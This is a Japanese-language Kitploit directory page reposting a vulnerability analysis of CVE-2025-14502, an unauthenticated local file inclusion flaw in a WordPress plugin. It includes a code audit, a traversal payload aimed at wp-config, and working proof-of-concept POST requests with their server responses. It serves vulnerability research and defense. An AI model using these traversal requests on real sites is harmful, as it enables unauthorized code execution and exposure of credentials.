Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
WordPress-News-and-Blog-Designer-Bundle-CVE-2025-14502 — WordPressプラグイン「News and Blog Designer Bundle」のバージョン1.1以前のすべてのバージョンには、templateパラメータを介したローカルファイルインクルードの脆弱性が存在します。この脆弱性により、認証されていない攻撃者がサーバー上の任意の.phpファイルをインクルードして実行し、それらのファイル内の任意のPHPコードを実行できる可能性があります。.phpファイルタイプのアップロードとインクルードが許可されているシナリオでは、攻撃者はこの脆弱性を悪用して、アクセス制御をバイパスし、機密データを取得したり、コード実行を実現したりすることができます。 | Kitploit
ツール/GitHubGitHub/kai-one001/wordpress-news-and-blog-designer-bundle-cve-2025-14502
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubkai-one001/wordpress-news-and-blog-designer-bundle-cve-2025-14502

WordPress-News-and-Blog-Designer-Bundle-CVE-2025-14502

リポジトリを見る
27ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →

概要

WordPressプラグイン「News and Blog Designer Bundle」のバージョン1.1以前のすべてのバージョンには、templateパラメータを介したローカルファイルインクルードの脆弱性が存在します。この脆弱性により、認証されていない攻撃者がサーバー上の任意の.phpファイルをインクルードして実行し、それらのファイル内の任意のPHPコードを実行できる可能性があります。.phpファイルタイプのアップロードとインクルードが許可されているシナリオでは、攻撃者はこの脆弱性を悪用して、アクセス制御をバイパスし、機密データを取得したり、コード実行を実現したりすることができます。

共有

CVE-2025-14502 脆弱性分析レポート

脆弱性の概要

脆弱性タイプ: ローカルファイルインクルージョン (Local File Inclusion, LFI)
影響バージョン: News and Blog Designer Bundle 1.1 およびそれ以前のすべてのバージョン
深刻度: 高
攻撃の複雑さ: 低(認証不要)

脆弱性の原理分析

1. 脆弱性の位置

主な脆弱性は includes/class-nbdb-ajax.php ファイルの nbdb_fetch_more_post() メソッドに存在します。

2. コード監査の詳細

2.1 脆弱性コードの位置

root@kitploit:~
sanitize_text_field(extract( $_POST['shrt_param'] ));

$template_file_path 	= NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
$template_file 		= (file_exists($template_file_path)) 	? $template_file_path 	: '';

2.2 脆弱性の原因分析

問題1: extract() 関数の不適切な使用

31行目のコードには重大な問題があります:

root@kitploit:~
sanitize_text_field(extract( $_POST['shrt_param'] ));
  • extract() 関数は、配列のキーを変数名、値を変数値として、現在のスコープに直接展開します
  • extract() の戻り値は正常に展開された変数の数(整数)であり、配列そのものではありません
  • sanitize_text_field() 関数は文字列パラメータを受け取ることを期待していますが、ここでは整数が渡されます
  • したがって、この行のコードは実際にはいかなるセキュリティ対策としても機能しません

問題2: パラメータ検証の欠如

33行目では $template 変数を直接使用してファイルパスを構築しています:

root@kitploit:~
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
  • $template 変数は extract($_POST['shrt_param']) に由来し、完全にユーザー入力によって制御されます
  • ホワイトリスト検証は一切ありません
  • パス正規化処理は一切ありません
  • ディレクトリトラバーサル攻撃が可能です

問題3: ファイルの存在チェックのみ

34行目ではファイルの存在のみをチェックしています:

root@kitploit:~
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
  • file_exists() はファイルの存在のみを検証し、パスの正当性は検証しません
  • 攻撃者が $template パラメータを制御できる場合、../ によるディレクトリトラバーサルが可能になります
  • 最終的に93行目で include($template_file) が実行され、任意のファイルインクルージョンが発生します

2.3 比較:ショートコード処理関数の安全な実装

shortcodes/class-nbdb-shortcode.php では、すべてのショートコード処理関数がホワイトリスト検証を使用しています:

root@kitploit:~
$template = ($template && (array_key_exists(trim($template), $shortcode_templates))) ? trim($template) : 'template-1';
  • nbdb_post_template() 関数を使用して許可されたテンプレートのリストを取得します(template-1 と template-2 のみ)
  • array_key_exists() を使用してホワイトリスト検証を行います
  • ホワイトリストにない場合はデフォルト値 template-1 が使用されます

これは、開発者がパラメータを正しく検証する方法を知っていた一方で、AJAX 処理関数では検証が欠落していたことを証明しています。

3. 攻撃ベクトル

3.1 未認証アクセス

root@kitploit:~
add_action( 'wp_ajax_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
add_action( 'wp_ajax_nopriv_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
  • wp_ajax_ と wp_ajax_nopriv_ の両方のフックが登録されています
  • wp_ajax_nopriv_ は未ログインユーザーのアクセスを許可します
  • 攻撃者は一切の認証なしでこの脆弱性を悪用できます

3.2 攻撃の流れ

  1. 攻撃者は /wp-admin/admin-ajax.php に対して悪意のある POST リクエストを構築します
  2. action=nbdb_fetch_more_post を設定します
  3. shrt_param[template] にディレクトリトラバーサルペイロード(例: ../../../../wp-config)を注入します
  4. サーバーは extract($_POST['shrt_param']) を実行し、template を変数として展開します
  5. パスを構築します:NBDB_DIR . '/view/nbdb-masonry/' . '../../../../wp-config' . '.php'
  6. 対象ファイルが存在する場合、file_exists() は true を返します
  7. include($template_file) を実行し、対象の PHP ファイルをインクルードして実行します

4. 脆弱性の影響

4.1 直接的な危害

  • コード実行: 実行可能な PHP ファイルをインクルードできる場合、リモートコード実行 (RCE) につながる可能性があります
  • 機密情報の漏えい: サーバー上の PHP ファイルの内容を読み取ることができます(例: wp-config.php)
  • 権限昇格: 特定の設定ではアクセス制御をバイパスできる可能性があります

4.2 悪用条件

  • 対象ファイルが存在し、読み取り可能である必要があります
  • 対象ファイルは .php 拡張子である必要があります(コード内で .php サフィックスがハードコードされています)
  • サーバーが include() によるインクルードファイルの実行を許可している必要があります
  • 「読み取り可能」の前提は、インクルードされた PHP 自身が可視の出力(echo/print/エラー/プロトコル応答)を生成することです。そうでなければ内容を確認できません。

脆弱性の検証手順

1、テストリクエストの作成

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 214

action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../xmlrpc&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large

1.1、レスポンスの分析

root@kitploit:~
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:12:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Connection: close
Vary: Accept-Encoding
Content-Length: 403
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <fault>
    <value>
      <struct>
        <member>
          <name>faultCode</name>
          <value><int>-32700</int></value>
        </member>
        <member>
          <name>faultString</name>
          <value><string>parse error. not well formed</string></value>
        </member>
      </struct>
    </value>
  </fault>
</methodResponse>

2、テストリクエストの作成

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 270

action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../wp-content/themes/twentytwentyfour/patterns/page-home-blogging&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large

2.1、レスポンスの分析

root@kitploit:~
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:51:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Vary: Accept-Encoding
Content-Length: 3185
Content-Type: text/html; charset=UTF-8

{"success":1,"data":"\n<!-- wp:pattern {\"slug\":\"twentytwentyfour\/text-centered-statement-small\"}\t\/-->\n\n<!-- wp:group {\"align\":\"wide\",\"style\":{\"spacing\":{\"margin\":{\"top\":\"0\",\"bottom\":\"0\"},\"padding\":{\"top\":\"var:preset|spacing|40\",\"bottom\":\"var:preset|spacing|40\"}}},\"layout\":{\"type\":\"constrained\"}} -->\n<div class=\"wp-block-group alignwide\" style=\"margin-top:0;margin-bottom:0;padding-top:var(--wp--preset--spacing--40);padding-bottom:var(--wp--preset--spacing--40)\">\n\t<!-- wp:columns {\"align\":\"wide\",\"style\":{\"spacing\":{\"blockGap\":{\"top\":\"1rem\",\"left\":\"1rem\"}}}} -->\n\t<div class=\"wp-block-columns alignwide\">\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"60%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:60%\">\n\t\t\t<!-- wp:query {\"query\":{\"perPage\":3,\"pages\":0,\"offset\":0,\"postType\":\"post\",\"order\":\"desc\",\"orderBy\":\"date\",\"author\":\"\",\"search\":\"\",\"exclude\":[],\"sticky\":\"\",\"inherit\":true}} -->\n\t\t\t<div class=\"wp-block-query\">\n\t\t\t\t<!-- wp:post-template -->\n\t\t\t\t<!-- wp:group {\"tagName\":\"article\",\"layout\":{\"type\":\"flex\",\"orientation\":\"vertical\",\"justifyContent\":\"stretch\"}} -->\n\t\t\t\t<article class=\"wp-block-group\">\n\t\t\t\t\t<!-- wp:post-featured-image \/-->\n\n\t\t\t\t\t<!-- wp:post-title {\"isLink\":true,\"fontSize\":\"large\"} \/-->\n\n\t\t\t\t\t<!-- wp:template-part {\"slug\":\"post-meta\"} \/-->\n\n\t\t\t\t<\/article>\n\t\t\t\t<!-- \/wp:group -->\n\n\t\t\t\t<!-- wp:post-excerpt {\"moreText\":\"\",\"excerptLength\":40} \/-->\n\n\t\t\t\t<!-- wp:spacer -->\n\t\t\t\t<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\">\n\t\t\t\t<\/div>\n\t\t\t\t<!-- \/wp:spacer -->\n\t\t\t\t<!-- \/wp:post-template -->\n\n\t\t\t\t<!-- wp:query-pagination {\"paginationArrow\":\"arrow\",\"layout\":{\"type\":\"flex\",\"justifyContent\":\"space-between\"}} -->\n\t\t\t\t<!-- wp:query-pagination-previous \/-->\n\n\t\t\t\t<!-- wp:query-pagination-numbers \/-->\n\n\t\t\t\t<!-- wp:query-pagination-next \/-->\n\t\t\t\t<!-- \/wp:query-pagination -->\n\n\t\t\t\t<!-- wp:query-no-results -->\n\t\t\t\t<!-- wp:pattern {\"slug\":\"twentytwentyfour\/hidden-no-results\"} \/-->\n\t\t\t\t<!-- \/wp:query-no-results -->\n\t\t\t<\/div>\n\t\t\t<!-- \/wp:query -->\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"30%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:30%\">\n\t\t\t<!-- wp:template-part {\"slug\":\"sidebar\",\"tagName\":\"aside\"} \/-->\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\t<\/div>\n\t<!-- \/wp:columns -->\n<\/div>\n<!-- \/wp:group -->\n\n<!-- wp:pattern {\"slug\":\"twentytwentyfour\/cta-subscribe-centered\"}\t\/-->\n","count":1}
ツールをダウンロード